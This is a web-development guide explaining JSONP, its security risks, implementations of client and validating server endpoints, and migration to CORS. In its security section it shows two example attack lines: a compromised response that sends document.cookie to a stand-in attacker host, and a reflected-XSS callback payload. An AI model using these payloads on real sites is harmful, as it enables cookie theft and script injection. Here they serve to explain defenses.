JSONP Explained: What It Is, How It Works, and Why CORS Replaced It
Last updated:
JSONP stands for JSON with Padding. It is a pre-CORS trick from 2005 that lets a browser fetch JSON from a different origin by exploiting one fact: the <script>tag has never been subject to the same-origin policy. The server wraps a JSON payload in a function call — the "padding" — and the client pre-registers a global function with that name. When the script loads, the function fires with the data as its argument. JSONP appears in old codebases because for roughly a decade it was the only practical way to do cross-origin JSON in the browser. In 2026 it is firmly legacy: CORS is the right answer for every new cross-origin JSON use case, and most major APIs that once shipped JSONP have removed it. This guide covers JSONP honestly — accurate enough to maintain old code, blunt about why not to write new code with it.
Inspecting a JSONP response and need to extract the JSON payload? Strip the callback wrapper and paste the inner object into Jsonic's JSON Formatter to pretty-print and validate it.
Format JSONHow JSONP works: callback parameter + script tag
JSONP does one specific thing: it gets a chunk of JSON from another origin into your page, by tricking the browser into thinking it is loading a normal script. The client passes a callback query parameter; the server inlines that name into its response.
Client side — manual setup:
<script>
// 1. Register a global function with a known name.
function handleData(data) {
console.log('got JSONP payload:', data);
}
</script>
<!-- 2. Load a <script> tag pointing at the JSONP endpoint.
The "callback" query param tells the server which function name to wrap with. -->
<script src="https://api.example.com/users/42?callback=handleData"></script>Server response (Content-Type: application/javascript):
handleData({"id":42,"name":"Ada Lovelace","email":"ada@example.com"});When the browser fetches that URL via the <script> tag, the response body is parsed and executed as JavaScript. The function handleDataalready exists in the page, so the call succeeds and your data lands in the callback. There is no JSON.parse involved — the JSON is parsed by the JS engine as an object literal inside a function call expression.
The flow is intentionally minimal: one global function, one script tag, one function-call response. There is no request object, no headers, no status, no streaming, no abort. Whatever the server sends, the browser runs.
Why JSONP existed: the same-origin policy
Browsers have always enforced the same-origin policy (SOP): JavaScript on https://a.com cannot read responses from https://b.com via XMLHttpRequest. SOP is the bedrock of browser security — without it, any page you visited could read your authenticated data from any other site you were logged into.
SOP applies to XMLHttpRequest and (later) fetch(). It does NOT apply to a handful of tags that have always been allowed to load cross-origin resources because the web depended on them: <img>, <link>, <iframe>, and <script>. The browser will fetch and execute a script from any domain. SOP only prevents you from reading the response of an XHR cross-origin — it does not stop a script from running cross-origin.
JSONP exploits that gap. By delivering JSON wrapped in a function call, the server turns data into executable code that piggybacks on the script-tag exemption. The browser does not know it just loaded data — it thinks it loaded a script that happens to call a function. For roughly a decade (2005–2014) this was the only practical way to do cross-origin JSON in a browser without server-side proxies.
The fix arrived in two phases: CORS (Cross-Origin Resource Sharing) was first specified as a W3C working draft in 2009, but did not reach broad browser support until roughly 2014. Once every major browser implemented CORS, the case for JSONP collapsed — CORS lets the server explicitly opt in to cross-origin reads, keeps the security model intact, supports every HTTP method, and provides real status codes and error handling.
JSONP vs CORS in 2026
The two mechanisms solve the same problem — cross-origin JSON — but with very different trade-offs. The table below summarizes where they diverge.
| Concern | JSONP | CORS |
|---|---|---|
| Mechanism | <script> tag executes JS-wrapped JSON | Server sends Access-Control-Allow-Origin header; browser unlocks XHR/fetch response |
| HTTP methods | GET only | GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD |
| Request headers | None — cannot set Authorization, Content-Type, anything | Any header (subject to preflight for non-simple headers) |
| Request body | URL query string only (browser URL-length limits apply) | Full request body, any size, any Content-Type |
| Error handling | None — script.onerror gives no status or body | Full HTTP status codes, response body, headers |
| Status codes | Unavailable to the page | Available via response.status |
| Abort/cancel | Remove the script tag — request still completes server-side | AbortController cancels in-flight requests |
| Credentials | Cookies sent if SameSite allows; cannot opt in/out | Explicit credentials: 'include' + server header |
| Security model | Server can execute arbitrary JS in your origin | Server can only return data; never executed |
| CSP compatibility | Requires script-src for third-party domain | No CSP relaxation needed |
| Complexity (client) | Manual script tag + global callback + cleanup + timeout | One fetch() call |
| Complexity (server) | Wrap response in callback function | Add one or two response headers |
There is no scenario in 2026 where JSONP wins this comparison on technical merit. The only legitimate reasons to keep JSONP are inertia — a vendor API still ships it, internal code still uses it, or a deprecation budget has not landed.
JSONP security risks: XSS via callback, untrusted servers
JSONP is one of the few remaining cross-origin patterns that requires you to fully trust the server with code execution. Three concrete attack classes follow from that.
1. The server can execute arbitrary JS in your origin
When you include <script src="https://third-party.example/data?callback=cb">, the response is parsed as JavaScript inside your page. If that server is compromised, attacked, or simply malicious, the response can be anything:
// What you expect:
cb({"price": 42});
// What a compromised server could send:
document.cookie; fetch('https://attacker/?c=' + document.cookie); cb({"price": 42});CORS does not have this problem — even when the server returns JSON, that JSON is just data the browser hands to your parser; it does not execute.
2. Reflected XSS via the callback parameter
A naive JSONP server reflects the callback query parameter directly into the response without sanitization. That parameter is part of executable JS, which means an attacker can inject code:
Request: GET /api/users?callback=alert(document.cookie);//
Response: alert(document.cookie);//({"id":42,"name":"Ada"});
// The "//" comments out the rest, and alert(document.cookie) executes
// in whatever origin loaded the script.A correct server validates the callback name against the JavaScript identifier grammar — only letters, digits, $, _, and dots are allowed — and rejects everything else. Many older PHP and Java implementations did not do this rigorously, leaving widespread reflected XSS holes.
3. CSRF via authenticated GET
JSONP requests carry cookies by default (subject to SameSite). An authenticated JSONP endpoint that returns sensitive data leaks that data to any page that includes the script tag. The attacker just registers a callback that uploads the payload to their server. This is one form of cross-site script inclusion (XSSI). CORS solves this by requiring an explicit Access-Control-Allow-Credentials: true header for credentialed cross-origin reads.
Implementing a JSONP client manually
No browser provides a built-in JSONP API — every implementation builds the script tag dance by hand. Below is a complete, modern client with cleanup and a timeout fallback (because script.onerror alone is not enough).
function jsonp<T = unknown>(url: string, opts: { timeout?: number } = {}): Promise<T> {
const timeout = opts.timeout ?? 8000;
return new Promise((resolve, reject) => {
const callbackName = '__jsonp_cb_' + Math.random().toString(36).slice(2);
const script = document.createElement('script');
let timer: ReturnType<typeof setTimeout>;
const cleanup = () => {
clearTimeout(timer);
delete (window as Record<string, unknown>)[callbackName];
script.remove();
};
(window as Record<string, unknown>)[callbackName] = (data: T) => {
cleanup();
resolve(data);
};
script.onerror = () => {
cleanup();
reject(new Error('JSONP network error (no detail available)'));
};
timer = setTimeout(() => {
cleanup();
reject(new Error('JSONP timeout after ' + timeout + 'ms'));
}, timeout);
const sep = url.includes('?') ? '&' : '?';
script.src = url + sep + 'callback=' + encodeURIComponent(callbackName);
document.head.appendChild(script);
});
}
// Usage:
jsonp<{ id: number; name: string }>('https://api.example.com/users/42')
.then((user) => console.log(user))
.catch((err) => console.error(err));Key details: the callback name is random per call (so concurrent JSONP requests don't collide), the global is deleted after use (so it can't be replayed), the script tag is removed (the DOM does not need it after execution), and the timeout is mandatory because onerror only fires for transport failures — not for HTTP 500 returning an HTML error page, not for a callback name mismatch, not for the server returning JSON instead of JSONP.
Implementing a JSONP server endpoint (Node/Express, PHP, Python)
The server side is structurally simple: read the callback name, validate it, serialize JSON, and wrap. The critical step is validation — never trust the callback parameter.
Node.js / Express
import express from 'express';
const app = express();
// Whitelist: valid JS identifier characters only.
const CALLBACK_RE = /^[a-zA-Z_$][a-zA-Z0-9_$.]{0,127}$/;
app.get('/api/users/:id', (req, res) => {
const data = { id: Number(req.params.id), name: 'Ada Lovelace' };
const callback = String(req.query.callback ?? '');
if (callback) {
if (!CALLBACK_RE.test(callback)) {
return res.status(400).type('text/plain').send('invalid callback');
}
res.type('application/javascript');
return res.send(callback + '(' + JSON.stringify(data) + ');');
}
// Fall back to regular JSON for non-JSONP callers.
res.json(data);
});
// Express ships this built-in: res.jsonp(data) does the same with a default callback name.PHP
<?php
$data = ['id' => 42, 'name' => 'Ada Lovelace'];
$callback = $_GET['callback'] ?? '';
if ($callback !== '') {
if (!preg_match('/^[a-zA-Z_$][a-zA-Z0-9_$.]{0,127}$/', $callback)) {
http_response_code(400);
header('Content-Type: text/plain');
echo 'invalid callback';
exit;
}
header('Content-Type: application/javascript');
echo $callback . '(' . json_encode($data) . ');';
exit;
}
header('Content-Type: application/json');
echo json_encode($data);Python / Flask
import re
from flask import Flask, request, Response, jsonify
app = Flask(__name__)
CALLBACK_RE = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$.]{0,127}$')
@app.get('/api/users/<int:user_id>')
def get_user(user_id):
data = {'id': user_id, 'name': 'Ada Lovelace'}
callback = request.args.get('callback', '')
if callback:
if not CALLBACK_RE.match(callback):
return Response('invalid callback', status=400, mimetype='text/plain')
import json
body = f'{callback}({json.dumps(data)});'
return Response(body, mimetype='application/javascript')
return jsonify(data)All three implementations share the same anatomy: validate the callback against a JS-identifier regex, set Content-Type: application/javascript, wrap the JSON in callback(...). Skipping the regex check is the bug that fueled most historical JSONP XSS reports.
Migrating from JSONP to CORS
Most JSONP-to-CORS migrations are mechanical: a few lines of server config plus a client rewrite. The hard cases are edge cases — credentialed requests, third-party embeds you don't control, and very old browsers.
Server side: add CORS headers
// Express example: open public API
import cors from 'cors';
app.use('/api', cors({ origin: '*' }));
// Now /api responds with: Access-Control-Allow-Origin: *
// Credentialed API: echo the origin from an allowlist
const ALLOWED = new Set(['https://app.example.com', 'https://admin.example.com']);
app.use('/api', cors({
origin: (origin, cb) => cb(null, origin && ALLOWED.has(origin) ? origin : false),
credentials: true,
}));Headers in plain HTTP terms:
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400A preflight (browser-issued OPTIONS request) fires automatically when the real request uses a non-simple method (anything but GET, HEAD, POST) or a non-simple header (anything but a short allowlist). The server must answer the OPTIONS request with the same CORS headers and a 204 status.
Client side: replace the script-tag dance with fetch
// Before — JSONP
jsonp('https://api.example.com/users/42').then(user => render(user));
// After — CORS
const res = await fetch('https://api.example.com/users/42');
if (!res.ok) throw new Error('HTTP ' + res.status);
const user = await res.json();
render(user);
// Credentialed:
const res = await fetch('https://api.example.com/me', { credentials: 'include' });When migration is NOT trivial
- Embedded widgets on customer sites. If you ship a JS snippet that customers paste into their pages, you cannot force them to update. Run JSONP and CORS endpoints in parallel for a deprecation window — typically 12–24 months — then sunset JSONP.
- Third-party APIs you consume. If the upstream still only offers JSONP, your only options are (1) keep JSONP, (2) proxy through your own server that does the upstream call and re-exposes a CORS endpoint, or (3) switch providers.
- Cross-site cookies. Migrating credentialed JSONP to CORS often surfaces
SameSitecookie problems. Cross-site cookies needSameSite=None; Securein 2026 browsers. Plan for cookie attribute changes alongside the CORS rollout. - IE9 and earlier. No proper CORS XHR — basically irrelevant in 2026 but worth checking your analytics if you serve heavily-regulated or long-tail markets.
Key terms
- JSONP (JSON with Padding)
- A pre-CORS technique for cross-origin JSON: the server wraps a JSON value in a function call (the "padding") and the browser loads it via a
<script>tag. Invented by Bob Ippolito in 2005; legacy in 2026. - Callback function
- The global JavaScript function that the JSONP response calls with the data payload as its argument. The client registers it before injecting the script tag; the server inlines its name into the response.
- Same-origin policy (SOP)
- The browser security rule that prevents JavaScript on one origin (scheme + host + port) from reading responses fetched from a different origin via XHR or fetch.
<script>and a few other tags are exempt — that exemption is what JSONP exploits. - CORS (Cross-Origin Resource Sharing)
- The modern W3C/Fetch standard for letting servers opt into cross-origin reads via HTTP response headers (
Access-Control-Allow-Originand friends). Replaces JSONP; supports all HTTP methods, custom headers, real status codes, and credentials. - Preflight request
- A browser-issued
OPTIONSrequest that fires before the real CORS request when the method or headers are not "simple." The server must respond with matching CORS headers; if it doesn't, the real request never goes out. - Padding
- In the JSONP context, the function-call wrapper around the JSON value — e.g.
callback(...). The bare JSON inside is the data; everything outside it is the "padding." - XSSI (Cross-Site Script Inclusion)
- An attack class where an attacker page includes a
<script>tag pointing at an authenticated endpoint on another origin and reads the response by registering globals or hooking object accessors. JSONP endpoints are a primary historical target.
Frequently asked questions
What is JSONP?
JSONP stands for JSON with Padding. It is a technique invented by Bob Ippolito in 2005 to work around the browser same-origin policy, which blocks XMLHttpRequest from reading responses from a different origin. JSONP exploits the fact that the <script> tag has never been subject to the same-origin policy: you can include a script from any domain. The server returns JavaScript that wraps a JSON payload in a function call — the "padding" — and the client pre-registers a global function with that name. When the script executes, the function fires with the data as its argument. JSONP only supports GET requests, has no real error handling, and is considered legacy in 2026; CORS is the modern replacement for every new cross-origin JSON use case.
Is JSONP still used in 2026?
JSONP is functionally still supported by every browser because removing it would break a long tail of legacy widgets, embeds, and analytics scripts. But no new public API launched after roughly 2015 ships JSONP, and major providers (Google Maps, Twitter, Flickr, Facebook Graph) have either removed their JSONP endpoints or moved them behind deprecation notices. You will see JSONP in three places today: very old internal APIs nobody has rewritten, ad-tech and analytics pixels that still inject <script> tags, and legacy enterprise software (SharePoint, older Atlassian connectors). For any new code, use CORS. If you are maintaining old code that uses JSONP, your job is usually to plan a migration, not extend it.
What's the difference between JSON and JSONP?
JSON is a data format: a string like {"name":"Ada"} that you parse with JSON.parse(). JSONP is JavaScript that contains a JSON value: a string like myCallback({"name":"Ada"}) that the browser executes as code. JSON is returned with Content-Type: application/json and is inert until parsed. JSONP is returned with Content-Type: application/javascript and runs immediately when loaded via a <script> tag. JSON works with fetch and XMLHttpRequest and is subject to CORS. JSONP works only via <script> tags, bypasses the same-origin policy entirely, and cannot be parsed safely — running it requires trusting the source server completely, because anything it sends will execute in your page context.
Can JSONP make POST requests?
No. JSONP works by injecting a <script src="..."> tag, and <script> tags only issue GET requests. There is no way to send a POST, PUT, PATCH, or DELETE through JSONP, and there is no way to set custom request headers (no Authorization, no Content-Type, no X-Requested-With). The request body is whatever you can fit in the URL query string, which is also constrained by browser URL length limits (typically ~2,000–8,000 characters depending on browser). If your API needs anything beyond a simple GET — body payloads, custom auth headers, idempotency keys — JSONP is structurally incapable of carrying it, and CORS is the only path. This GET-only limitation is one of the strongest reasons JSONP could never become a general-purpose cross-origin solution.
Is JSONP secure?
JSONP is fundamentally less secure than CORS because it executes whatever the server sends as JavaScript in your page origin. The risks are concrete: (1) if the server is compromised or malicious, it can return arbitrary JS that steals cookies, rewrites the DOM, or exfiltrates data — there is no sandboxing; (2) the callback parameter is often reflected into the response, which historically caused XSS when servers did not sanitize it (callback=alert(1); injects executable code); (3) JSONP cannot use Content Security Policy strictly — you need script-src to allow the third-party domain; (4) JSONP cannot be sent with credentials safely the way CORS can with Access-Control-Allow-Credentials. Treat any JSONP endpoint as fully trusted code execution by that third party.
How do I migrate from JSONP to CORS?
Server side, replace the callback-wrapping logic with normal JSON output and add an Access-Control-Allow-Origin header. For a public API, return Access-Control-Allow-Origin: *; for credentialed APIs, echo the request Origin and add Access-Control-Allow-Credentials: true. Handle the OPTIONS preflight if you accept methods beyond GET/HEAD/POST or any non-simple header. Client side, replace the <script> tag dance with a standard fetch() or axios call — typically a 5-line swap. The harder cases are: same-origin policy on cookies (you need SameSite=None; Secure for cross-site cookies), legacy IE9 support (which lacks proper CORS XHR — usually irrelevant in 2026), and clients you do not control. For embedded widgets running on customer sites, CORS plus a documented allowed-origin list is the modern equivalent.
Why does my JSONP request fail silently?
JSONP has no native error reporting. A <script> tag fires onerror only on network failure, and even then with no useful detail — no status code, no response body. Common silent-failure modes: (1) the server returned valid JSON instead of JSONP (Content-Type application/json with no callback wrapper) — the browser parses it as JS, throws a syntax error you only see in DevTools console; (2) the callback name in the URL did not match what the server padded the response with; (3) HTTP 500 returned an HTML error page, which the <script> tag tries to execute and fails; (4) the script loaded but your callback was registered after the script executed (race condition). Always set a setTimeout fallback that fires the error path if the callback has not run within N seconds.
Can fetch() do JSONP?
No, and this is by design. fetch() is subject to the same-origin policy and CORS — that is the whole point of the API. There is no fetch mode that injects a <script> tag, because injecting executable JavaScript from another origin is exactly the security problem the platform spent the 2010s eliminating. If you need JSONP from a modern app, you build it yourself: create a <script> element, set its src to the JSONP URL with a unique callback parameter, register a global function with that name, append the script to the document, and clean both up when the callback fires or a timeout expires. fetch-jsonp libraries exist on npm but they are thin wrappers that do exactly the above — they are not using fetch() under the hood.
Further reading and primary sources
- MDN — JSONP — MDN glossary entry covering JSONP mechanics and security caveats
- Wikipedia — JSONP — History, syntax, vulnerabilities, and deprecation status
- MDN — Cross-Origin Resource Sharing (CORS) — Authoritative CORS reference: headers, preflight, credentialed requests
- OWASP — JSON Security — OWASP AJAX security cheat sheet covering JSONP, XSSI, and safe alternatives
- Bob Ippolito — Remote JSON / JSONP (2005) — The original 2005 blog post that named the technique